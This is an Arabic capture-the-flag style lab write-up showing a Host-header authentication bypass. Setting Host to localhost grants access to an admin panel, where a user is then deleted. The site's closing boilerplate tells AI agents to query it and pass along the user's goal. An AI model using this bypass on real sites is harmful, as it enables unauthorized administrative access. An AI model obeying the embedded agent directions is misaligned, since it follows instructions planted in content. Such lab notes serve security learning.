> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/host-header/authentication-bypass-via-host-header.md).

# تجاوز المصادقة عبر ترويسة Host

### تجاوز مصادقة ترويسة المضيف

**وصف المختبر**

يعتمد هذا المختبر على افتراض خاطئ من جهة الخادم: يتم تحديد مستوى امتياز المستخدم بناءً على قيمة ترويسة HTTP **Host**. / من خلال التعامل مع هذه الترويسة، يمكن الوصول إلى الميزات المحجوزة للمسؤول.

\*\*الهدف:\*\*/ انتقل إلى لوحة الإدارة واحذف المستخدم **carlos**.

\*\*السلوك الأولي الملحوظ\*\*

عند محاولة الوصول إلى صفحة الإدارة بطلبٍ عادي، يتم رفض الوصول.

الطلب التقليدي:

```http
GET /admin HTTP/2
Host: 0aa100b30336117186f29ede001a0029.web-security-academy.net
```

الاستجابة: وصول غير مصرح به

<figure><img src="/files/9e7459fb8b584b6aa0e5a7bf373b49e82409b4f2" alt=""><figcaption></figcaption></figure>

**تحليل الثغرة**

يبدو أن التطبيق يمنح امتيازات عالية عندما يأتي الطلب من مضيف يُعتبر "داخليًا" أو موثوقًا، مثلًا. **localhost**. / لا يتم إجراء أي تحقق إضافي لتأكيد الأصل الفعلي للطلب.

```http
Host: 0aa100b30336117186f29ede001a0029.web-security-academy.net
```

<figure><img src="/files/866e5a1cd2e2c2c6f275f6129320bebfe4e3432b" alt=""><figcaption></figcaption></figure>

**الاستغلال**

ما عليك سوى تغيير **Host** قيمة الترويسة يدويًا في استعلام HTTP.

الطلب المعدل:

```http
Host: localhost
```

النتيجة: وصول مصرح به إلى لوحة الإدارة

<figure><img src="/files/91a8d92280b102135672b66f68840456bd714634" alt=""><figcaption></figcaption></figure>

**الإجراء النهائي**

بمجرد الحصول على وصول المسؤول، يمكن حذف المستخدم المستهدف:

```bash
/admin/delete?username=carlos
```

<figure><img src="/files/1f8e8aa0fd66993e67d2afd2500eea561a4d260e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/host-header/authentication-bypass-via-host-header.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
